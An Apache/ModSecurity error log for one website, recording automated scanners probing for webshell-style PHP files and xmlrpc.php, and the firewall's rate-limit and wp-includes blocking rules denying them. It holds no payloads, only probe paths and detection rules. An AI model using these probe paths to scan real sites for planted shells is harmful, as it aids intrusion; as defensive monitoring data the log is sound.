[Sun Apr 05 22:04:55.031505 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:21237] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CZoaz8QUeQEV.php"] [unique_id "adJsB9Ht_Oyw03gjCNgmbgAAAMI"]
[Sun Apr 05 22:04:55.527028 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:21082] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CZoaz8QUeQEV.php"] [unique_id "adJsB9Ht_Oyw03gjCNgmdgAAAMo"]
[Sun Apr 05 22:04:56.005144 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21125] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CZoaz8QUeQEV.php"] [unique_id "adJsCNHt_Oyw03gjCNgmeQAAAMs"]
[Sun Apr 05 22:04:56.549284 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:21149] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CZoaz8QUeQEV.php"] [unique_id "adJsCNHt_Oyw03gjCNgmfQAAANg"]
[Sun Apr 05 22:04:57.028800 2026] [:error] [pid 30921:tid 30929] [client 68.221.134.12:21332] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ttRc68YLe0tB.php"] [unique_id "adJsCWFGQVn8Q0ueB24v6gAAAQY"]
[Sun Apr 05 22:04:57.537993 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21245] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ttRc68YLe0tB.php"] [unique_id "adJsCdHt_Oyw03gjCNgmgwAAAMs"]
[Sun Apr 05 22:04:58.030352 2026] [:error] [pid 45304:tid 45352] [client 68.221.134.12:21235] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ttRc68YLe0tB.php"] [unique_id "adJsCg5jnqDKKovdRkklQgAAAEg"]
[Sun Apr 05 22:04:58.528102 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:21244] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ttRc68YLe0tB.php"] [unique_id "adJsCtHt_Oyw03gjCNgmjAAAANc"]
[Sun Apr 05 22:04:59.020852 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21204] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "adJsC9Ht_Oyw03gjCNgmkAAAAMs"]
[Sun Apr 05 22:04:59.521040 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:21300] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "adJsC9Ht_Oyw03gjCNgmkwAAAMc"]
[Sun Apr 05 22:05:00.000120 2026] [:error] [pid 30921:tid 30947] [client 68.221.134.12:21348] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "adJsC2FGQVn8Q0ueB24v7QAAARg"]
[Sun Apr 05 22:05:00.509227 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:21143] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "adJsDNHt_Oyw03gjCNgmmAAAAMc"]
[Sun Apr 05 22:05:01.029940 2026] [:error] [pid 45304:tid 45364] [client 68.221.134.12:21121] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ox9eoqdk.php"] [unique_id "adJsDQ5jnqDKKovdRkklRAAAAFQ"]
[Sun Apr 05 22:05:01.532225 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:21086] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ox9eoqdk.php"] [unique_id "adJsDbboQ9eViZ4hdnlX1AAAAAo"]
[Sun Apr 05 22:05:02.040175 2026] [:error] [pid 45305:tid 45381] [client 68.221.134.12:21241] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ox9eoqdk.php"] [unique_id "adJsDujDQjr7aWhjflBsEwAAAIo"]
[Sun Apr 05 22:05:02.612790 2026] [:error] [pid 45304:tid 45347] [client 68.221.134.12:21308] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ox9eoqdk.php"] [unique_id "adJsDg5jnqDKKovdRkklSAAAAEM"]
[Sun Apr 05 22:05:03.127397 2026] [proxy_fcgi:error] [pid 45409:tid 45434] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:03.382389 2026] [proxy_fcgi:error] [pid 45409:tid 45414] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:03.628014 2026] [proxy_fcgi:error] [pid 45409:tid 45432] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:03.871710 2026] [proxy_fcgi:error] [pid 45409:tid 45418] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:04.113150 2026] [proxy_fcgi:error] [pid 45409:tid 45433] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:04.355304 2026] [proxy_fcgi:error] [pid 45409:tid 45435] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:04.597703 2026] [proxy_fcgi:error] [pid 45409:tid 45419] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:04.840958 2026] [proxy_fcgi:error] [pid 45409:tid 45412] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:05.084363 2026] [proxy_fcgi:error] [pid 45409:tid 45431] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:05.326305 2026] [proxy_fcgi:error] [pid 45409:tid 45428] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:05.582491 2026] [proxy_fcgi:error] [pid 45409:tid 45425] [client 68.221.134.12:21070] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:05:05.829751 2026] [:error] [pid 45409:tid 45416] [client 68.221.134.12:21070] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/she.php"] [unique_id "adJsEdHt_Oyw03gjCNgmqwAAAMU"]
[Sun Apr 05 22:05:06.307276 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:21231] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/she.php"] [unique_id "adJsEtHt_Oyw03gjCNgmrgAAAMM"]
[Sun Apr 05 22:05:06.784561 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:21165] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/she.php"] [unique_id "adJsErboQ9eViZ4hdnlX7gAAAAg"]
[Sun Apr 05 22:05:07.265647 2026] [:error] [pid 45303:tid 45341] [client 68.221.134.12:21175] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/she.php"] [unique_id "adJsE7boQ9eViZ4hdnlX7wAAABg"]
[Sun Apr 05 22:05:07.750655 2026] [:error] [pid 45409:tid 45433] [client 68.221.134.12:21310] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/haojj.php"] [unique_id "adJsE9Ht_Oyw03gjCNgmsgAAANY"]
[Sun Apr 05 22:05:08.231209 2026] [:error] [pid 30921:tid 30931] [client 68.221.134.12:21122] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/haojj.php"] [unique_id "adJsFGFGQVn8Q0ueB24v-gAAAQg"]
[Sun Apr 05 22:05:08.729390 2026] [:error] [pid 30921:tid 30923] [client 68.221.134.12:21206] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/haojj.php"] [unique_id "adJsFGFGQVn8Q0ueB24v_gAAAQA"]
[Sun Apr 05 22:05:09.231030 2026] [:error] [pid 45303:tid 45332] [client 68.221.134.12:21072] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/haojj.php"] [unique_id "adJsFbboQ9eViZ4hdnlX9AAAAA8"]
[Sun Apr 05 22:52:52.455175 2026] [:error] [pid 45305:tid 45386] [client 122.164.82.26:30703] [client 122.164.82.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.164.82.26, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adJ3ROjDQjr7aWhjflCAswAAAI8"]
[Sun Apr 05 22:52:52.464799 2026] [proxy_fcgi:error] [pid 45305:tid 45386] [client 122.164.82.26:30703] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:20:14.255179 2026] [proxy_fcgi:error] [pid 45303:tid 45322] [client 51.103.148.24:2013] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:20:14.356862 2026] [proxy_fcgi:error] [pid 45303:tid 45319] [client 51.103.148.24:2042] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 23:20:15.374586 2026] [:error] [pid 45303:tid 45325] [client 51.103.148.24:2042] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adJ9r7boQ9eViZ4hdnmKBwAAAAg"]
[Sun Apr 05 23:20:15.538634 2026] [:error] [pid 45303:tid 45317] [client 51.103.148.24:2013] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "adJ9r7boQ9eViZ4hdnmKCQAAAAA"]
[Sun Apr 05 23:20:15.916102 2026] [:error] [pid 45304:tid 45363] [client 51.103.148.24:2021] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adJ9rw5jnqDKKovdRklDJwAAAFM"]
[Sun Apr 05 23:20:16.282712 2026] [:error] [pid 30921:tid 30923] [client 51.103.148.24:1997] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "adJ9sGFGQVn8Q0ueB25W_gAAAQA"]
[Sun Apr 05 23:20:16.475790 2026] [:error] [pid 45303:tid 45337] [client 51.103.148.24:1925] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adJ9sLboQ9eViZ4hdnmKDQAAABQ"]
[Sun Apr 05 23:20:17.108449 2026] [:error] [pid 45409:tid 45419] [client 51.103.148.24:1992] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "adJ9sdHt_Oyw03gjCNhwPQAAAMg"]
[Sun Apr 05 23:20:17.231274 2026] [:error] [pid 30921:tid 30929] [client 51.103.148.24:1926] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adJ9sWFGQVn8Q0ueB25XAAAAAQY"]
[Sun Apr 05 23:20:17.939141 2026] [:error] [pid 30921:tid 30940] [client 51.103.148.24:2047] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "adJ9sWFGQVn8Q0ueB25XAwAAARE"]
[Sun Apr 05 23:20:18.384097 2026] [:error] [pid 45304:tid 45347] [client 51.103.148.24:1990] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "adJ9sg5jnqDKKovdRklDKgAAAEM"]
[Sun Apr 05 23:20:18.509170 2026] [:error] [pid 45409:tid 45435] [client 51.103.148.24:1935] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "adJ9stHt_Oyw03gjCNhwRAAAANg"]
[Sun Apr 05 23:20:19.156909 2026] [:error] [pid 30921:tid 30925] [client 51.103.148.24:2020] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "adJ9s2FGQVn8Q0ueB25XBwAAAQI"]
[Sun Apr 05 23:20:19.482671 2026] [:error] [pid 45303:tid 45338] [client 51.103.148.24:1941] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/file.php"] [unique_id "adJ9s7boQ9eViZ4hdnmKGQAAABU"]
[Sun Apr 05 23:20:19.951933 2026] [:error] [pid 45303:tid 45330] [client 51.103.148.24:1986] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "adJ9s7boQ9eViZ4hdnmKHgAAAA0"]
[Sun Apr 05 23:20:20.420788 2026] [:error] [pid 45304:tid 45366] [client 51.103.148.24:1927] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/file.php"] [unique_id "adJ9tA5jnqDKKovdRklDMAAAAFY"]
[Sun Apr 05 23:20:20.900809 2026] [:error] [pid 45303:tid 45323] [client 51.103.148.24:2025] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/file.php"] [unique_id "adJ9tLboQ9eViZ4hdnmKJwAAAAY"]
[Sun Apr 05 23:20:21.671971 2026] [:error] [pid 45304:tid 45356] [client 51.103.148.24:1981] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/file.php"] [unique_id "adJ9tQ5jnqDKKovdRklDOAAAAEw"]
[Sun Apr 05 23:20:21.764537 2026] [:error] [pid 45305:tid 45391] [client 51.103.148.24:1989] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/file.php"] [unique_id "adJ9tejDQjr7aWhjflCNswAAAJQ"]
[Sun Apr 05 23:20:23.460858 2026] [:error] [pid 45304:tid 45350] [client 51.103.148.24:1933] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/file.php"] [unique_id "adJ9tw5jnqDKKovdRklDPAAAAEY"]
[Sun Apr 05 23:20:23.593329 2026] [:error] [pid 30921:tid 30930] [client 51.103.148.24:2000] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/file.php"] [unique_id "adJ9t2FGQVn8Q0ueB25XFAAAAQc"]
[Sun Apr 05 23:20:24.468366 2026] [:error] [pid 30921:tid 30927] [client 51.103.148.24:2012] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/file.php"] [unique_id "adJ9uGFGQVn8Q0ueB25XGAAAAQQ"]
[Sun Apr 05 23:20:24.713174 2026] [:error] [pid 45303:tid 45319] [client 51.103.148.24:1938] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/wp-login.php"] [unique_id "adJ9uLboQ9eViZ4hdnmKLAAAAAI"]
[Sun Apr 05 23:20:25.651305 2026] [:error] [pid 45409:tid 45418] [client 51.103.148.24:2022] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/wp-login.php"] [unique_id "adJ9udHt_Oyw03gjCNhwZwAAAMc"]
[Sun Apr 05 23:20:26.563412 2026] [:error] [pid 30921:tid 30946] [client 51.103.148.24:2032] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php/install.php"] [unique_id "adJ9umFGQVn8Q0ueB25XIAAAARc"]
[Sun Apr 05 23:20:27.056615 2026] [:error] [pid 30921:tid 30929] [client 51.103.148.24:2034] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php/install.php"] [unique_id "adJ9u2FGQVn8Q0ueB25XIwAAAQY"]
[Sun Apr 05 23:20:27.404007 2026] [:error] [pid 30921:tid 30936] [client 51.103.148.24:2007] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php/install.php"] [unique_id "adJ9u2FGQVn8Q0ueB25XJgAAAQ0"]
[Sun Apr 05 23:20:28.190410 2026] [:error] [pid 45303:tid 45334] [client 51.103.148.24:1995] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php/install.php"] [unique_id "adJ9vLboQ9eViZ4hdnmKOQAAABE"]
